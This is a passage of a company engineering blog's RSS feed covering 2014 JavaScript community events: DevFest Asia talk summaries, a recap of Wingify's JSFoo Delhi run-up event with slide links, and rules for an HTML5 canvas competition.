16&quot; width=&quot;16&quot;&gt;&lt;path fill-rule=&quot;evenodd&quot; d=&quot;M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z&quot;&gt;&lt;/path&gt;&lt;/svg&gt;&lt;/a&gt;&lt;a href=&quot;https://www.youtube.com/watch?v=G7PBTOdAqrU&quot;&gt;Bad Form&lt;/a&gt; by &lt;a href=&quot;https://twitter.com/cliener&quot;&gt;Chris Lienert&lt;/a&gt;&lt;/h3&gt; &lt;p&gt;&quot;Your password must contain an uppercase and a lowercase letter, a number, a dinosaur&apos;s name and your grandmother&apos;s maiden name&quot;: do sights of such messages make you cringe? Or perhaps you recall the frustration of filling out a large form and you missed out checking those terms and conditions and the page complains by asking you to fill everything over again? If you do, this talk will let you share your frustrations and learn about what you as a developer can do to create better forms for a better web.&lt;/p&gt; &lt;h3 id=&quot;fun-with-javascript-and-sensors-by-jan-jongboom&quot; style=&quot;position:relative;&quot;&gt;&lt;a href=&quot;#fun-with-javascript-and-sensors-by-jan-jongboom&quot; aria-label=&quot;fun with javascript and sensors by jan jongboom permalink&quot; class=&quot;anchor before&quot;&gt;&lt;svg aria-hidden=&quot;true&quot; focusable=&quot;false&quot; height=&quot;16&quot; version=&quot;1.1&quot; viewBox=&quot;0 0 16 16&quot; width=&quot;16&quot;&gt;&lt;path fill-rule=&quot;evenodd&quot; d=&quot;M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z&quot;&gt;&lt;/path&gt;&lt;/svg&gt;&lt;/a&gt;&lt;a href=&quot;https://www.youtube.com/watch?v=u6twcglDFNc&quot;&gt;Fun with JavaScript and Sensors&lt;/a&gt; by &lt;a href=&quot;https://twitter.com/janjongboom&quot;&gt;Jan Jongboom&lt;/a&gt;&lt;/h3&gt; &lt;p&gt;In terms of what JavaScript can do on the browser and on mobile devices, Firefox OS is the best example of openness and accessibility to the lower language features. Jan, in his talk introduces several sensor APIs, primarily for Firefox OS that you could make use of to create your next big innovative app or game. Perhaps you could even mix and match the data from various sensors, or perhaps from a set of devices put together to create something awesome!&lt;/p&gt; &lt;h3 id=&quot;translation-workflow-and-formatting-complex-translations-by-tingan-ho&quot; style=&quot;position:relative;&quot;&gt;&lt;a href=&quot;#translation-workflow-and-formatting-complex-translations-by-tingan-ho&quot; aria-label=&quot;translation workflow and formatting complex translations by tingan ho permalink&quot; class=&quot;anchor before&quot;&gt;&lt;svg aria-hidden=&quot;true&quot; focusable=&quot;false&quot; height=&quot;16&quot; version=&quot;1.1&quot; viewBox=&quot;0 0 16 16&quot; width=&quot;16&quot;&gt;&lt;path fill-rule=&quot;evenodd&quot; d=&quot;M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z&quot;&gt;&lt;/path&gt;&lt;/svg&gt;&lt;/a&gt;&lt;a href=&quot;https://www.youtube.com/watch?v=4ZXagCR9urg&quot;&gt;Translation Workflow and Formatting Complex Translations&lt;/a&gt; by &lt;a href=&quot;https://twitter.com/tingan87&quot;&gt;Tingan Ho&lt;/a&gt;&lt;/h3&gt; &lt;p&gt;Tingan goes about solving the problem of i18n and l10n by introducing concepts like CLDR, pluralization, and ICU’s message formats. He also publishes his localization module &lt;a href=&quot;http://l10ns.org&quot;&gt;l10ns&lt;/a&gt; at the end of his talk. If you&apos;re planning to translate your app into multiple languages, especially east-Asian ones, this is a must see talk.&lt;/p&gt; &lt;h3 id=&quot;webtorrent-by-feross-aboukhadijeh&quot; style=&quot;position:relative;&quot;&gt;&lt;a href=&quot;#webtorrent-by-feross-aboukhadijeh&quot; aria-label=&quot;webtorrent by feross aboukhadijeh permalink&quot; class=&quot;anchor before&quot;&gt;&lt;svg aria-hidden=&quot;true&quot; focusable=&quot;false&quot; height=&quot;16&quot; version=&quot;1.1&quot; viewBox=&quot;0 0 16 16&quot; width=&quot;16&quot;&gt;&lt;path fill-rule=&quot;evenodd&quot; d=&quot;M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z&quot;&gt;&lt;/path&gt;&lt;/svg&gt;&lt;/a&gt;&lt;a href=&quot;https://www.youtube.com/watch?v=kxHRATfvnlw&quot;&gt;WebTorrent&lt;/a&gt; by &lt;a href=&quot;https://twitter.com/feross&quot;&gt;Feross Aboukhadijeh&lt;/a&gt;&lt;/h3&gt; &lt;p&gt;BitTorrent is a great protocol to share data between users across the world. Feross introduces the underlying functionality of BitTorrent and the advantages of a distributed network when compared to a centralized one. He also highlights certain shortcomings of the protocol that are centralized, like torrent files and tracker servers, and how we could solve these problems. Finally he describes WebTorrent, a project that makes use of WebRTC and special &quot;hybrid clients&quot; to connect to the BitTorrent network.&lt;/p&gt; &lt;h3 id=&quot;gibbering-at-algoraves---js-in-live-audiovisual-performances-by-charlie-roberts&quot; style=&quot;position:relative;&quot;&gt;&lt;a href=&quot;#gibbering-at-algoraves---js-in-live-audiovisual-performances-by-charlie-roberts&quot; aria-label=&quot;gibbering at algoraves js in live audiovisual performances by charlie roberts permalink&quot; class=&quot;anchor before&quot;&gt;&lt;svg aria-hidden=&quot;true&quot; focusable=&quot;false&quot; height=&quot;16&quot; version=&quot;1.1&quot; viewBox=&quot;0 0 16 16&quot; width=&quot;16&quot;&gt;&lt;path fill-rule=&quot;evenodd&quot; d=&quot;M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z&quot;&gt;&lt;/path&gt;&lt;/svg&gt;&lt;/a&gt;&lt;a href=&quot;https://www.youtube.com/watch?v=2BIOINFSbMg&quot;&gt;Gibbering at Algoraves - JS in Live Audiovisual Performances&lt;/a&gt; by &lt;a href=&quot;http://gibber.mat.ucsb.edu/&quot;&gt;Charlie Roberts&lt;/a&gt;&lt;/h3&gt; &lt;p&gt;Possess certain skills like the ability to play music and you have the chance to perform it live in front of an audience. But writing code, especially JavaScript isn&apos;t that way. That&apos;s what we thought before this talk. Charlie introduces &lt;a href=&quot;http://gibber.mat.ucsb.edu/&quot;&gt;Gibber&lt;/a&gt;, a creative coding environment that lets you create music and visuals on the fly. Be ready for a trippy ride of a JavaScript live coding performance towards the end of the talk!&lt;/p&gt; &lt;p&gt;It might seem like I&apos;ve described every talk at both the events, but the truth is that the quality of the talks was so impressive that it is hard to not praise the speakers for the efforts they have put in to prepare a stellar presentation. Looking forward to the next installment of DevFest Asia in 2015!&lt;/p&gt;</content:encoded><author>Himanshu Kapoor</author></item><item><title><![CDATA[JSFoo Delhi Run-up Event @ Wingify]]></title><description><![CDATA[Last week, we announced that Wingify would be sponsoring the JSFoo 2014 conference in Bangalore. We have always been looking out for…]]></description><link>https://engineering.wingify.com//posts/jsfoo-run-up-event-details/</link><guid isPermaLink="false">https://engineering.wingify.com//posts/jsfoo-run-up-event-details/</guid><pubDate>Mon, 08 Sep 2014 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;Last week, we announced that Wingify would be sponsoring the &lt;a href=&quot;http://engineering.wingify.com/posts/jsfoo-run-up-event/&quot;&gt;JSFoo 2014&lt;/a&gt; conference in Bangalore. We have always been looking out for opportunities to give back to the community, and what could have been better than hosting a run-up event for JSFoo in Delhi. We got in touch with HasGeek and expressed interest in hosting the Delhi run-up event. They were more than happy to let us do so.&lt;/p&gt; &lt;p&gt;Since it was the first time we hosted such a big event, we were both excited and nervous. We had started preparing for the event about a month in advance. To market the event, we spread out information about the event on meetup groups we were connected with, and also created a &lt;a href=&quot;https://www.facebook.com/events/1464410987176966/&quot;&gt;Facebook event&lt;/a&gt; for it. In total, we received about 100-120 signups for the event. Of all the signups, we expected about one-third of them to actually turn up for the event, for whom we started to arrange for food and logistics.&lt;/p&gt; &lt;p&gt;What’s exciting is that more than 50 external guests from 30 different companies and colleges showed up. We were really humbled with such great turnout and would like to thank each one of you who joined us for the event.&lt;/p&gt; &lt;p&gt;The event started on time (10:30am) with &lt;a href=&quot;https://twitter.com/suchitpuri&quot;&gt;Suchit Puri&lt;/a&gt; taking the stage. He welcomed us to the event and introduced the first speaker &lt;a href=&quot;https://github.com/rudimk&quot;&gt;Rudi M.K.&lt;/a&gt;, who was about to speak on &lt;strong&gt;“A new approach to scientific computing using JavaScript“&lt;/strong&gt;. He talked about the possibilities of using JavaScript for mathematical and scientific computing. He had a few examples of using JavaScript on the server side for complex mathematical computation. It was really enlightening to see so many libraries coming up in support of scientific computing in the JavaScript ecosystem.&lt;/p&gt; &lt;div style=&quot;text-align:center; margin: 10px;&quot;&gt; &lt;img src=&quot;/images/2014/09/0.jpg&quot;&gt; &lt;div style=&quot;margin: 10px;&quot;&gt; Rudi speaking on “A new approach to scientific computing using JavaScript” &lt;/div&gt; &lt;/div&gt; &lt;p&gt;Next was the workshop on &lt;strong&gt;“Learning JS concepts/techniques by implementing jQuery”&lt;/strong&gt; from our very own &lt;a href=&quot;https://github.com/chinchang&quot;&gt;Kushagra Gour&lt;/a&gt; . He had created a very interesting web based system specially for this workshop which he called “Prayas”. It allows the organizer to set JavaScript test cases and the participants to enter the JavaScript code which is evaluated against these test cases. It also has a very good UI which updates in real time giving you a good idea of how many of the participants have submitted in the code correctly.This made the workshop really interactive wherein the participants implemented some basic jquery methods in javascript.&lt;/p&gt; &lt;div style=&quot;text-align:center; margin: 10px;&quot;&gt; &lt;img src=&quot;/images/2014/09/1.jpg&quot;&gt; &lt;div style=&quot;margin: 10px;&quot;&gt; Kushagra Gour taking workshop on “Learning JS concepts/techniques by implementing jQuery” with his awesome &quot;Prayas&quot; system on screen &lt;/div&gt; &lt;/div&gt; &lt;p&gt;The workshop was followed by lunch after which we had &lt;a href=&quot;https://twitter.com/shwetank&quot;&gt;Shwetank Dixit&lt;/a&gt; talking on &lt;strong&gt;“Understanding WebRTC: A Whirlwind Tour”&lt;/strong&gt;. Shwetank introduced WebRTC and then went in-depth on the topic, explaining how the technology works and how are different network related problems addressed. He also showed some really cool WebRTC demos. &lt;a href=&quot;https://appear.in/&quot;&gt;Appear.in&lt;/a&gt; was one of them. We hope that attendees would have gone back and tried WebRTC.&lt;/p&gt; &lt;div style=&quot;text-align:center; margin: 10px;&quot;&gt; &lt;img src=&quot;/images/2014/09/2.jpg&quot;&gt; &lt;div style=&quot;margin: 10px;&quot;&gt; Shwetank giving demo of WebRTC &lt;/div&gt; &lt;/div&gt; &lt;p&gt;Next was our very own &lt;a href=&quot;https://github.com/fleon/&quot;&gt;Himanshu Kapoor&lt;/a&gt; talking on &lt;strong&gt;“Managing API Resources and Their Relationships on the Front-end“&lt;/strong&gt;. This was indeed a very interesting talk wherein Himanshu talked about how we handle RESTFul resources on the front-end. The talk was primarily about our learnings of maintaining API resources and their relationships with using our internal project called ResourceManager for AngularJS (soon to be open sourced).&lt;/p&gt; &lt;p&gt;The last talk of the day was presented by Ankit Rastogi on &lt;strong&gt;“Ten Useful JavaScript Tips &amp;#x26; Best Practices”&lt;/strong&gt;. It was a very interesting interactive presentation on JavaScript optimizations tips and tricks. The presentation had a lot of questions which asked the audience to find whats wrong with the code, this made everyone really interested in the presentation. Everyone was really amazed by how implementing very simple things you can get many folds of processing/speed improvement in your code.&lt;/p&gt; &lt;p&gt;The day ended on a high note with everyone really appreciating the speakers and the organizers for all the hard work everyone put in. There were a lot of discussion after the event on organizing more such events for different communities in Delhi NCR region. Wingify as a company believes in engaging and giving back to the community and we would be more than happy to host more such events in future. If you feel that there is any technology related community which needs a place to host the event, please write to us at &lt;a href=&quot;mailto:engineering+community@wingify.com&quot;&gt;engineering+community@wingify.com&lt;/a&gt;.&lt;/p&gt; &lt;h2 id=&quot;presentation-slides-from-the-event&quot; style=&quot;position:relative;&quot;&gt;&lt;a href=&quot;#presentation-slides-from-the-event&quot; aria-label=&quot;presentation slides from the event permalink&quot; class=&quot;anchor before&quot;&gt;&lt;svg aria-hidden=&quot;true&quot; focusable=&quot;false&quot; height=&quot;16&quot; version=&quot;1.1&quot; viewBox=&quot;0 0 16 16&quot; width=&quot;16&quot;&gt;&lt;path fill-rule=&quot;evenodd&quot; d=&quot;M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z&quot;&gt;&lt;/path&gt;&lt;/svg&gt;&lt;/a&gt;Presentation slides from the event:&lt;/h2&gt; &lt;ol&gt; &lt;li&gt;&lt;a href=&quot;http://slides.com/rudimk/jsmath#/&quot;&gt;A new approach to scientific computing using JavaScript&lt;/a&gt; - Rudi M. K.&lt;/li&gt; &lt;li&gt;&lt;a href=&quot;http://www.slideshare.net/wingify_engineering/learn-js-concepts-by-implementing-jquery&quot;&gt;Learning JS concepts/techniques by implementing jQuery&lt;/a&gt; - Kushagra Gour&lt;/li&gt; &lt;li&gt;&lt;a href=&quot;http://www.slideshare.net/wingify_engineering/resources-and-relationships-at-frontend&quot;&gt;Managing API Resources and Their Relationships on the Front-end&lt;/a&gt; - Himanshu Kapoor&lt;/li&gt; &lt;li&gt;&lt;a href=&quot;http://www.slideshare.net/ankit0rastogi/ten-useful-javascript-tips-best-practices&quot;&gt;Ten Useful JavaScript Tips &amp;#x26; Best Practices&lt;/a&gt; - Ankit Rastogi&lt;/li&gt; &lt;li&gt;&lt;a href=&quot;http://shwetankdixit.com/downloads/jsfooRunnup.pdf&quot;&gt;Understanding WebRTC: A Whirlwind Tour&lt;/a&gt; - Shwetank Dixit&lt;/li&gt; &lt;/ol&gt; &lt;h2 id=&quot;wingify-engineering-on-twitter&quot; style=&quot;position:relative;&quot;&gt;&lt;a href=&quot;#wingify-engineering-on-twitter&quot; aria-label=&quot;wingify engineering on twitter permalink&quot; class=&quot;anchor before&quot;&gt;&lt;svg aria-hidden=&quot;true&quot; focusable=&quot;false&quot; height=&quot;16&quot; version=&quot;1.1&quot; viewBox=&quot;0 0 16 16&quot; width=&quot;16&quot;&gt;&lt;path fill-rule=&quot;evenodd&quot; d=&quot;M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z&quot;&gt;&lt;/path&gt;&lt;/svg&gt;&lt;/a&gt;Wingify Engineering on Twitter&lt;/h2&gt; &lt;p&gt;Also, we are happy to announce that Wingify’s engineering team is now on Twitter! Follow us on &lt;a href=&quot;https://twitter.com/wingify_engg&quot;&gt;@wingify_engg&lt;/a&gt; to get updates on awesome things being cooked here.&lt;/p&gt;</content:encoded><author>Suchit Puri</author></item><item><title><![CDATA[JSFoo 2014 Delhi Run-up Event + JS Contest]]></title><description><![CDATA[The front-end has become the heart of today's web application development, and JavaScript drives a core part of it. New technologies…]]></description><link>https://engineering.wingify.com//posts/jsfoo-run-up-event/</link><guid isPermaLink="false">https://engineering.wingify.com//posts/jsfoo-run-up-event/</guid><pubDate>Mon, 25 Aug 2014 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;The front-end has become the heart of today&apos;s web application development, and JavaScript drives a core part of it. New technologies, libraries, frameworks and the likes come up each day, and the existing ones continue to grow and evolve as time goes by. There is so much to learn, and so many learnings of your own to share, that community involvement becomes indispensable.&lt;/p&gt; &lt;p&gt;Our single-page application, &lt;a href=&quot;http://vwo.com&quot;&gt;VWO&lt;/a&gt;, is powered by a nifty combination of web technologies on the front-end, ranging from Grunt to AngularJS. The development process of the new version of the application was very rapid and full of challenges. We had dabbled into the previously unexplored territory of single-page application development at such a large scale, and having pulled it off in a relatively short span of time has been quite a feat.&lt;/p&gt; &lt;h2 id=&quot;sponsoring-jsfoo&quot; style=&quot;position:relative;&quot;&gt;&lt;a href=&quot;#sponsoring-jsfoo&quot; aria-label=&quot;sponsoring jsfoo permalink&quot; class=&quot;anchor before&quot;&gt;&lt;svg aria-hidden=&quot;true&quot; focusable=&quot;false&quot; height=&quot;16&quot; version=&quot;1.1&quot; viewBox=&quot;0 0 16 16&quot; width=&quot;16&quot;&gt;&lt;path fill-rule=&quot;evenodd&quot; d=&quot;M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z&quot;&gt;&lt;/path&gt;&lt;/svg&gt;&lt;/a&gt;Sponsoring JSFoo&lt;/h2&gt; &lt;p&gt;For the very reason of community involvement being indispensable for better development, we are sponsoring JSFoo 2014 in Bangalore this year. Our engineers will be present at the conference. Should you be interested in our work, and would like to know more about what we do, want to work with us, or just want to say Hi!, drop by our booth (B1), or catch any of our team members at the event.&lt;/p&gt; &lt;h2 id=&quot;jsfoo-run-up-event-delhi&quot; style=&quot;position:relative;&quot;&gt;&lt;a href=&quot;#jsfoo-run-up-event-delhi&quot; aria-label=&quot;jsfoo run up event delhi permalink&quot; class=&quot;anchor before&quot;&gt;&lt;svg aria-hidden=&quot;true&quot; focusable=&quot;false&quot; height=&quot;16&quot; version=&quot;1.1&quot; viewBox=&quot;0 0 16 16&quot; width=&quot;16&quot;&gt;&lt;path fill-rule=&quot;evenodd&quot; d=&quot;M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z&quot;&gt;&lt;/path&gt;&lt;/svg&gt;&lt;/a&gt;JSFoo Run-up Event (Delhi)&lt;/h2&gt; &lt;p&gt;We&apos;re also hosting a run-up event at our office in Pitampura, Delhi on 6&lt;sup&gt;th&lt;/sup&gt; September 2014. There will be talks and a workshop too. &lt;/p&gt; &lt;p&gt;&lt;strong&gt;&lt;a href=&quot;https://jsfoo.in/2014/runup-delhi&quot;&gt;Join us at the run-up event. RSVP here.&lt;/a&gt;&lt;/strong&gt;&lt;/p&gt; &lt;p&gt;As a part of the run-up event, we&apos;re organising an online JavaScript competition.&lt;/p&gt; &lt;h2 id=&quot;online-javascript-competition---visualize&quot; style=&quot;position:relative;&quot;&gt;&lt;a href=&quot;#online-javascript-competition---visualize&quot; aria-label=&quot;online javascript competition visualize permalink&quot; class=&quot;anchor before&quot;&gt;&lt;svg aria-hidden=&quot;true&quot; focusable=&quot;false&quot; height=&quot;16&quot; version=&quot;1.1&quot; viewBox=&quot;0 0 16 16&quot; width=&quot;16&quot;&gt;&lt;path fill-rule=&quot;evenodd&quot; d=&quot;M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z&quot;&gt;&lt;/path&gt;&lt;/svg&gt;&lt;/a&gt;Online JavaScript Competition - Visualize&lt;/h2&gt; &lt;p&gt;The premise of this competition is simple - to use JavaScript and HTML5 canvas to create something visually appealing. The theme of the competition is &lt;strong&gt;&lt;a href=&quot;http://en.wikipedia.org/wiki/Square&quot;&gt;Squares&lt;/a&gt;&lt;/strong&gt;. You are free to create anything with JavaScript, canvas and squares.&lt;/p&gt; &lt;p&gt;If visualizations, particle effects, fractals, interactivity, JavaScript and canvas are some of the words that excite you, this is the competition for you. Below are some examples of JS creativity:&lt;/p&gt; &lt;ul&gt; &lt;li&gt;&lt;a href=&quot;http://mrdoob.com/lab/javascript/effects/branching/01/&quot;&gt;Branching Visualization&lt;/a&gt;&lt;/li&gt; &lt;li&gt;&lt;a href=&quot;http://cssdeck.com/labs/full/jelly-text&quot;&gt;Springy Jelly&lt;/a&gt;&lt;/li&gt; &lt;li&gt;&lt;a href=&quot;http://cssdeck.com/labs/full/html5-canvas-particles-web-matrix&quot;&gt;Particles Web Matrix&lt;/a&gt;&lt;/li&gt; &lt;li&gt;&lt;a href=&quot;http://xplsv.com/prods/demos/xplsv_orsotheysay/&quot;&gt;Or So They Say...&lt;/a&gt;&lt;/li&gt; &lt;/ul&gt; &lt;p&gt;Below are some valid sample entries:&lt;/p&gt; &lt;ul&gt; &lt;li&gt;&lt;a href=&quot;http://cssdeck.com/labs/full/tunnel-of-squares&quot;&gt;Tunnel of Squares&lt;/a&gt;&lt;/li&gt; &lt;li&gt;&lt;a href=&quot;http://cssdeck.com/labs/full/shattering-text-effect-in-canvas&quot;&gt;Shattering text&lt;/a&gt;&lt;/li&gt; &lt;/ul&gt; &lt;h3 id=&quot;making-submissions&quot; style=&quot;position:relative;&quot;&gt;&lt;a href=&quot;#making-submissions&quot; aria-label=&quot;making submissions permalink&quot; class=&quot;anchor before&quot;&gt;&lt;svg aria-hidden=&quot;true&quot; focusable=&quot;false&quot; height=&quot;16&quot; version=&quot;1.1&quot; viewBox=&quot;0 0 16 16&quot; width=&quot;16&quot;&gt;&lt;path fill-rule=&quot;evenodd&quot; d=&quot;M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z&quot;&gt;&lt;/path&gt;&lt;/svg&gt;&lt;/a&gt;Making Submissions&lt;/h3&gt; &lt;p&gt;Submissions for the competition need to be done as a deck on &lt;a href=&quot;http://cssdeck.com/&quot;&gt;CSSDeck&lt;/a&gt;. &lt;a href=&quot;http://cssdeck.com/post/67/guest-creations&quot;&gt;Read here&lt;/a&gt; to know about submitting on CSSDeck. Optionally, you can also submit your entry via another code submission site like &lt;a href=&quot;http://codepen.io&quot;&gt;Codepen&lt;/a&gt;, or by uploading it on your server. Once you are ready with your submission, please tweet it using the following template:&lt;/p&gt; &lt;blockquote&gt; &lt;p&gt;I submitted an entry for Wingify-JSFoo online competition: &amp;#x3C;CSSDeck link here&gt; @wingify @jsfooindia #wingifyjsfoocompo #js&lt;/p&gt; &lt;/blockquote&gt; &lt;p&gt;Let the submissions begin!&lt;/p&gt; &lt;h3 id=&quot;rules&quot; style=&quot;position:relative;&quot;&gt;&lt;a href=&quot;#rules&quot; aria-label=&quot;rules permalink&quot; class=&quot;anchor before&quot;&gt;&lt;svg aria-hidden=&quot;true&quot; focusable=&quot;false&quot; height=&quot;16&quot; version=&quot;1.1&quot; viewBox=&quot;0 0 16 16&quot; width=&quot;16&quot;&gt;&lt;path fill-rule=&quot;evenodd&quot; d=&quot;M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z&quot;&gt;&lt;/path&gt;&lt;/svg&gt;&lt;/a&gt;Rules&lt;/h3&gt; &lt;ol&gt; &lt;li&gt;The deadline for the competition is 20th September 2014, 23:59 IST.&lt;/li&gt; &lt;li&gt;Your entry should use Javascript, HTML5 Canvas and Squares to create something visually appealing.&lt;/li&gt; &lt;li&gt;CoffeeScript is allowed.&lt;/li&gt; &lt;li&gt;Judgement will primarily be based on visual appeal. Secondary parameters include code quality and smoothness.&lt;/li&gt; &lt;li&gt;Multiple entries by a single participant are allowed.&lt;/li&gt; &lt;li&gt;Bonus points for using &lt;a href=&quot;http://vanilla-js.com/&quot;&gt;vanilla JS&lt;/a&gt;.&lt;/li&gt; &lt;li&gt;The results will be announced after 20th September 2014 here on the blog as well as on our twitter account: &lt;a href=&quot;https://twitter.com/wingify&quot;&gt;@wingify&lt;/a&gt;.&lt;/li&gt; &lt;li&gt;You &lt;strong&gt;must be living in India&lt;/strong&gt; to be eligible for this competition.&lt;/li&gt; &lt;/ol&gt; &lt;p&gt;If you have any questions or suggestions, comment on this post or &lt;a href=&quot;mailto:engineering@wingify.com&quot;&gt;send us an email&lt;/a&gt;.&lt;/p&gt; &lt;h3 id=&quot;rewards&quot; style=&quot;position:relative;&quot;&gt;&lt;a href=&quot;#rewards&quot; aria-label=&quot;rewards permalink&quot; class=&quot;anchor before&quot;&gt;&lt;svg aria-hidden=&quot;true&quot; focusable=&quot;false&quot; height=&quot;16&quot; version=&quot;1.1&quot; viewBox=&quot;0 0 16 16&quot; width=&quot;16&quot;&gt;&lt;path fill-rule=&quot;evenodd&quot; d=&quot;M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 